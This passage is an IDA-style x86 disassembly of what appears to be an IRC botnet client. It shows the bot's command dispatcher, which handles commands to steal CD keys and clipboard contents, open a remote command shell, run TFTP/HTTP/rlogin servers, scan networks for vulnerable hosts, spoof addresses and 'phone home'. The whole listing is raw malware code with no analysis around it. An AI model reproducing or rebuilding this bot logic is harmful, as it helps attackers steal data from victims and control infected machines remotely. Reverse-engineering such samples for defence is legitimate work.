		test	eax, eax
		pop	ecx
		jz	loc_403F24
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E01
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E01
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DDA
		push	edi
		push	offset aKey	; "key"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DDA
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D53
		push	edi
		push	offset aUp	; "up"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D53
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D36
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D36
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D1D
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D1D
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403CDE
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403CDE
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403286
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset aRemoteShell ; "Remote shell"
		push	offset dword_4424AC
		jmp	loc_4029E5
; ---------------------------------------------------------------------------


loc_403286:				; CODE XREF: sub_401CC1+15ABj
		push	edi
		push	offset dword_4424B8
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40339C
		cmp	[ebp+var_8], ebx
		jnz	short loc_4032BA
		push	ebx
		push	[ebp+var_4]
		push	offset dword_4424BC
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 14h


loc_4032BA:				; CODE XREF: sub_401CC1+15DDj
		mov	eax, [ebp+arg_18]
		xor	edi, edi
		mov	[ebp+arg_18], eax
		jmp	short loc_4032C7
; ---------------------------------------------------------------------------


loc_4032C4:				; CODE XREF: sub_401CC1+164Dj
		mov	eax, [ebp+arg_18]


loc_4032C7:				; CODE XREF: sub_401CC1+1601j
		cmp	[eax], bl
		jz	short loc_4032CE
		inc	eax
		jmp	short loc_4032D3
; ---------------------------------------------------------------------------


loc_4032CE:				; CODE XREF: sub_401CC1+1608j
		mov	eax, offset dword_4424D0


loc_4032D3:				; CODE XREF: sub_401CC1+160Bj
		push	eax
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset dword_4424D8
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	edi
		cmp	edi, 3
		jl	short loc_4032C4
		push	offset unk_4424E0
		call	sub_41458A
		pop	ecx


loc_40331B:				; CODE XREF: sub_401CC1+1832j
					; sub_401CC1+298Bj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		mov	[ebp+arg_20], edi
		jz	loc_40207C
		push	[ebp+arg_10]
		push	offset aSpoof	; "spoof"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404758
		push	offset aOff	; "off"
		push	edi
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40465E
		lea	eax, [ebp+var_2C0]
		push	offset unk_442988
		push	eax
		mov	dword_4E4098, ebx
		call	sub_41B740
		pop	ecx
		pop	ecx


loc_403372:				; CODE XREF: sub_401CC1+2A3Ej
					; sub_401CC1+2A64j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_408CA1
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9


loc_403394:				; CODE XREF: sub_401CC1+672Bj
					; sub_401CC1+6791j
		add	esp, 14h
		jmp	loc_408CA1
; ---------------------------------------------------------------------------


loc_40339C:				; CODE XREF: sub_401CC1+15D4j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C9D
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C9D
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C72
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C72
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C4E
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C4E
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C14
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C14
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ADC
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ADC
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403950
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403950
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403819
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403819
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403512
		push	edi
		push	offset aVall	; "vall"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403512
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40331B
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		jmp	loc_40213A
; ---------------------------------------------------------------------------


loc_403512:				; CODE XREF: sub_401CC1+1810j
					; sub_401CC1+1821j
		mov	al, byte_44948A
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_44948A
		jz	loc_40207C
		mov	ecx, edx


loc_403529:				; CODE XREF: sub_401CC1+1870j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_403529
		cmp	al, bl
		jz	loc_40207C
		mov	[ebp+arg_18], edx


loc_40353E:				; CODE XREF: sub_401CC1+1B43j
		push	0Bh
		call	sub_40AA45
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_40358D
		push	ecx
		lea	eax, [ebp+var_2C0]
		push	offset unk_442818
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 20h
		jmp	loc_4037FB
; ---------------------------------------------------------------------------


loc_40358D:				; CODE XREF: sub_401CC1+1897j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_4492A8, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4035FE
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_4492A8
		lea	edi, [eax-0Ah]


loc_4035C8:				; CODE XREF: sub_401CC1+191Fj
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4035E4
		inc	[ebp+arg_0]
		add	esi, 40h
		cmp	[esi], ebx
		jnz	short loc_4035C8
		jmp	short loc_4035FE
; ---------------------------------------------------------------------------


loc_4035E4:				; CODE XREF: sub_401CC1+1915j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_4492A8[ecx]
		mov	[ebp+var_74C], ecx


loc_4035FE:				; CODE XREF: sub_401CC1+18FAj
					; sub_401CC1+1921j
		cmp	[ebp+var_74C], ebx
		jz	loc_40380F
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	esi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D0], esi
		push	[ebp+arg_4]
		call	dword_4E0848
		mov	al, [ebp+var_8FF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4E0928
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B1F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41C290
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_4036A6


loc_403684:				; CODE XREF: sub_401CC1+19E3j
		cmp	eax, ebx
		jz	short loc_4036A6
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41C290
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_403684


loc_4036A6:				; CODE XREF: sub_401CC1+19C1j
					; sub_401CC1+19C5j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_850]
		push	80h
		push	eax
		mov	[ebp+var_720], 1
		mov	[ebp+var_728], esi
		mov	[ebp+var_724], edi
		call	sub_41B910
		push	offset dword_4E0764
		push	offset aXx_0	; "#xx#"
		call	sub_41C4C0
		add	esp, 14h
		test	eax, eax
		jz	short loc_403713
		push	offset aXx_0	; "#xx#"
		lea	eax, [ebp+var_7D0]
		push	80h
		push	eax
		call	sub_41B910
		add	esp, 0Ch
		jmp	short loc_403719
; ---------------------------------------------------------------------------


loc_403713:				; CODE XREF: sub_401CC1+1A35j
		mov	[ebp+var_7D0], bl


loc_403719:				; CODE XREF: sub_401CC1+1A50j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40372B
		mov	eax, offset aSequential	; "Sequential"


loc_40372B:				; CODE XREF: sub_401CC1+1A63j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_4428A4
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40A7FD
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset sub_40BC04
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_4037B5


loc_4037A3:				; CODE XREF: sub_401CC1+1AF2j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_4037D0
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_4037A3
; ---------------------------------------------------------------------------


loc_4037B5:				; CODE XREF: sub_401CC1+1AE0j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_442910
		push	eax
		call	sub_41B740
		add	esp, 0Ch


loc_4037D0:				; CODE XREF: sub_401CC1+1AE8j
		cmp	edi, ebx
		jnz	short loc_4037EE
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	esi
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 14h


loc_4037EE:				; CODE XREF: sub_401CC1+1B11j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41458A
		pop	ecx


loc_4037FB:				; CODE XREF: sub_401CC1+18C7j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_40353E
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_40380F:				; CODE XREF: sub_401CC1+1943j
		push	offset unk_442858
		jmp	loc_4068C0
; ---------------------------------------------------------------------------


loc_403819:				; CODE XREF: sub_401CC1+17E6j
					; sub_401CC1+17FBj
		push	5
		call	sub_40AA45
		test	eax, eax
		pop	ecx
		jle	short loc_40382F
		push	offset unk_442778
		jmp	loc_4068C0
; ---------------------------------------------------------------------------


loc_40382F:				; CODE XREF: sub_401CC1+1B62j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403852
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2550]
		push	edi
		push	eax
		call	sub_41B910
		add	esp, 0Ch
		jmp	short loc_403866
; ---------------------------------------------------------------------------


loc_403852:				; CODE XREF: sub_401CC1+1B77j
		mov	edi, 104h
		lea	eax, [ebp+var_2550]
		push	edi
		push	eax
		push	ebx
		call	dword_4F132C	; GetModuleFileNameA


loc_403866:				; CODE XREF: sub_401CC1+1B8Fj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403876
		mov	esi, offset byte_43A0E8


loc_403876:				; CODE XREF: sub_401CC1+1BAEj
		push	esi
		lea	eax, [ebp+var_244C]
		push	edi
		push	eax
		call	sub_41B910
		mov	eax, dword_43A078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2340],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2344],	ebx
		mov	[ebp+var_2554],	eax
		lea	eax, [ebp+var_233C]
		push	eax
		call	sub_41B1F0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_22BC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_22B8],	eax
		lea	eax, [ebp+var_2550]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_2340]
		push	offset unk_442798
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	5
		push	eax
		call	sub_40A7FD
		add	esp, 34h
		mov	[ebp+var_2348],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2554]
		push	ebx
		push	eax
		push	offset sub_4112A8
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_2348]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_40393F


loc_403929:				; CODE XREF: sub_401CC1+1C7Cj
		cmp	[ebp+var_22B4],	ebx
		jnz	loc_407C2F
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_403929
; ---------------------------------------------------------------------------


loc_40393F:				; CODE XREF: sub_401CC1+1C66j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4427CC
		jmp	loc_4068A7
; ---------------------------------------------------------------------------


loc_403950:				; CODE XREF: sub_401CC1+17BCj
					; sub_401CC1+17D1j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40396F
		push	edi
		call	sub_41B3F0
		test	eax, eax
		pop	ecx
		jz	short loc_40396F
		push	edi
		call	sub_41B3F0
		pop	ecx
		jmp	short loc_403974
; ---------------------------------------------------------------------------


loc_40396F:				; CODE XREF: sub_401CC1+1C98j
					; sub_401CC1+1CA3j
		mov	eax, dword_43A07C


loc_403974:				; CODE XREF: sub_401CC1+1CACj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_2DC4],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_2DB0],	eax
		jz	short loc_4039A7
		lea	eax, [ebp+var_2EC8]
		push	esi
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx
		jmp	short loc_4039D2
; ---------------------------------------------------------------------------


loc_4039A7:				; CODE XREF: sub_401CC1+1CD3j
		lea	eax, [ebp+var_4050]
		push	104h
		push	eax
		call	dword_4F1330	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4050]
		push	eax
		call	sub_41BA10
		add	esp, 14h


loc_4039D2:				; CODE XREF: sub_401CC1+1CE4j
		lea	eax, [ebp+var_2EC8]
		push	eax
		call	sub_418D00
		cmp	[ebp+eax+var_2EC9], 5Ch
		pop	ecx
		jnz	short loc_4039FD
		lea	eax, [ebp+var_2EC8]
		push	eax
		call	sub_418D00
		pop	ecx
		mov	[ebp+eax+var_2EC9], bl


loc_4039FD:				; CODE XREF: sub_401CC1+1D26j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3150]
		mov	[ebp+var_3154],	esi
		push	80h
		push	eax
		call	sub_41B910
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_2DB4],	eax
		lea	eax, [ebp+var_2EC8]
		mov	[ebp+var_2DB8],	edi
		push	eax
		push	[ebp+var_2DC4]
		push	esi
		call	sub_40A019
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_4426EC
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	3
		push	eax
		call	sub_40A7FD
		add	esp, 20h
		mov	[ebp+var_2DBC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3154]
		push	ebx
		push	eax
		push	offset sub_40EBF0
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_2DBC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_403AB1


loc_403A9F:				; CODE XREF: sub_401CC1+1DEEj
		cmp	[ebp+var_2DA8],	ebx
		jnz	short loc_403ACC
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_403A9F
; ---------------------------------------------------------------------------


loc_403AB1:				; CODE XREF: sub_401CC1+1DDCj
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442728


loc_403ABD:				; CODE XREF: sub_401CC1+1F4Ej
					; sub_401CC1+44C5j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740
		add	esp, 0Ch


loc_403ACC:				; CODE XREF: sub_401CC1+1DE4j
					; sub_401CC1+1F32j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_407C50
		push	ebx
		push	edi
		jmp	loc_406C3B
; ---------------------------------------------------------------------------


loc_403ADC:				; CODE XREF: sub_401CC1+1792j
					; sub_401CC1+17A7j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403AFB
		push	edi
		call	sub_41B3F0
		test	eax, eax
		pop	ecx
		jz	short loc_403AFB
		push	edi
		call	sub_41B3F0
		pop	ecx
		jmp	short loc_403B00
; ---------------------------------------------------------------------------


loc_403AFB:				; CODE XREF: sub_401CC1+1E24j
					; sub_401CC1+1E2Fj
		mov	eax, dword_43A080


loc_403B00:				; CODE XREF: sub_401CC1+1E38j
		mov	[ebp+var_15D0],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403B17
		lea	eax, [ebp+var_C0]


loc_403B17:				; CODE XREF: sub_401CC1+1E4Ej
		push	eax
		lea	eax, [ebp+var_1710]
		push	40h
		push	eax
		call	sub_41B910
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403B39
		mov	esi, offset dword_4E0760


loc_403B39:				; CODE XREF: sub_401CC1+1E71j
		push	esi
		lea	eax, [ebp+var_16D0]
		push	100h
		push	eax
		call	sub_41B910
		push	[ebp+var_88]
		lea	eax, [ebp+var_1790]
		push	80h
		push	eax
		call	sub_41B910
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_15BC],	eax
		lea	eax, [ebp+var_1710]
		push	eax
		mov	[ebp+var_1794],	esi
		push	[ebp+var_15D0]
		mov	[ebp+var_15C0],	edi
		push	esi
		call	sub_40A019
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_442660
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	9
		push	eax
		call	sub_40A7FD
		add	esp, 20h
		mov	[ebp+var_15CC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1794]
		push	ebx
		push	eax
		push	offset sub_41055F
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_15CC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_403C03


loc_403BED:				; CODE XREF: sub_401CC1+1F40j
		cmp	[ebp+var_15B8],	ebx
		jnz	loc_403ACC
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_403BED
; ---------------------------------------------------------------------------


loc_403C03:				; CODE XREF: sub_401CC1+1F2Aj
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44269C
		jmp	loc_403ABD
; ---------------------------------------------------------------------------


loc_403C14:				; CODE XREF: sub_401CC1+1768j
					; sub_401CC1+177Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403C27
		push	esi
		call	sub_41B3F0
		jmp	short loc_403C2E
; ---------------------------------------------------------------------------


loc_403C27:				; CODE XREF: sub_401CC1+1F5Cj
		push	0Bh
		call	sub_40AA64


loc_403C2E:				; CODE XREF: sub_401CC1+1F64j
		cmp	eax, ebx
		pop	ecx
		jz	loc_408CA1
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B155
		jmp	loc_4040E7
; ---------------------------------------------------------------------------


loc_403C4E:				; CODE XREF: sub_401CC1+173Ej
					; sub_401CC1+1753j
		mov	eax, dword_4E07CC
		cmp	eax, ebx
		jz	short loc_403C6B
		call	eax
		test	eax, eax
		jz	short loc_403C64
		push	offset unk_4425BC
		jmp	short loc_403C87
; ---------------------------------------------------------------------------


loc_403C64:				; CODE XREF: sub_401CC1+1F9Aj
		push	offset unk_4425E0
		jmp	short loc_403C87
; ---------------------------------------------------------------------------


loc_403C6B:				; CODE XREF: sub_401CC1+1F94j
		push	offset unk_44260C
		jmp	short loc_403C87
; ---------------------------------------------------------------------------


loc_403C72:				; CODE XREF: sub_401CC1+1714j
					; sub_401CC1+1729j
		call	sub_409F35
		test	eax, eax
		jz	short loc_403C82
		push	offset unk_442558
		jmp	short loc_403C87
; ---------------------------------------------------------------------------


loc_403C82:				; CODE XREF: sub_401CC1+1FB8j
		push	offset unk_44257C


loc_403C87:				; CODE XREF: sub_401CC1+1FA1j
					; sub_401CC1+1FA8j ...
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41B910
		jmp	loc_406690
; ---------------------------------------------------------------------------


loc_403C9D:				; CODE XREF: sub_401CC1+16EAj
					; sub_401CC1+16FFj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403CBC
		push	ebx
		push	[ebp+var_4]
		push	offset dword_442510
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 14h


loc_403CBC:				; CODE XREF: sub_401CC1+1FDFj
		push	ebx
		push	[ebp+var_4]
		call	sub_415F56
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		push	offset dword_442528
		jmp	loc_403FB6
; ---------------------------------------------------------------------------


loc_403CDE:				; CODE XREF: sub_401CC1+1581j
					; sub_401CC1+1596j
		push	0Ah
		call	sub_40AA45
		test	eax, eax
		pop	ecx
		jle	short loc_403CF4
		push	offset unk_442420
		jmp	loc_408A79
; ---------------------------------------------------------------------------


loc_403CF4:				; CODE XREF: sub_401CC1+2027j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_417B99
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403D13
		push	offset unk_44244C
		jmp	loc_408A79
; ---------------------------------------------------------------------------


loc_403D13:				; CODE XREF: sub_401CC1+2046j
		push	offset unk_442474
		jmp	loc_408A79
; ---------------------------------------------------------------------------


loc_403D1D:				; CODE XREF: sub_401CC1+1557j
					; sub_401CC1+156Cj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409B6C
		jmp	loc_402079
; ---------------------------------------------------------------------------


loc_403D36:				; CODE XREF: sub_401CC1+152Dj
					; sub_401CC1+1542j
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_402079
; ---------------------------------------------------------------------------


loc_403D53:				; CODE XREF: sub_401CC1+1503j
					; sub_401CC1+1518j
		or	edi, 0FFFFFFFFh
		call	dword_4F1364	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_403D7C
		push	esi
		call	sub_41B3F0
		pop	ecx
		mov	edi, eax


loc_403D7C:				; CODE XREF: sub_401CC1+20B0j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_403D95
		cmp	edi, 0FFFFFFFFh
		jnz	loc_408CA1


loc_403D95:				; CODE XREF: sub_401CC1+20C9j
		push	ebx
		call	sub_4187BE
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_4423D8
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41458A


loc_403DD2:				; CODE XREF: sub_401CC1+5678j
		add	esp, 28h
		jmp	loc_408CA1
; ---------------------------------------------------------------------------


loc_403DDA:				; CODE XREF: sub_401CC1+14D9j
					; sub_401CC1+14EEj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_414869
		lea	eax, [ebp+var_2C0]
		push	offset dword_4423AC
		push	eax
		call	sub_41B740
		jmp	loc_407C0B
; ---------------------------------------------------------------------------


loc_403E01:				; CODE XREF: sub_401CC1+14AFj
					; sub_401CC1+14C4j
		push	27h
		call	sub_40AA45
		test	eax, eax
		pop	ecx
		jle	short loc_403E35
		cmp	[ebp+var_8], ebx
		jnz	loc_40207C
		push	ebx
		push	[ebp+var_4]
		push	offset unk_44231C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9


loc_403E2D:				; CODE XREF: sub_401CC1+68AEj
		add	esp, 14h
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_403E35:				; CODE XREF: sub_401CC1+214Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B910
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		jz	short loc_403E96
		push	esi
		push	offset aFull	; "full"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403E96
		mov	[ebp+var_A10], 1


loc_403E96:				; CODE XREF: sub_401CC1+21B8j
					; sub_401CC1+21C9j
		lea	eax, [ebp+var_2C0]
		push	offset dword_442344
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	27h
		push	eax
		call	sub_40A7FD
		add	esp, 14h
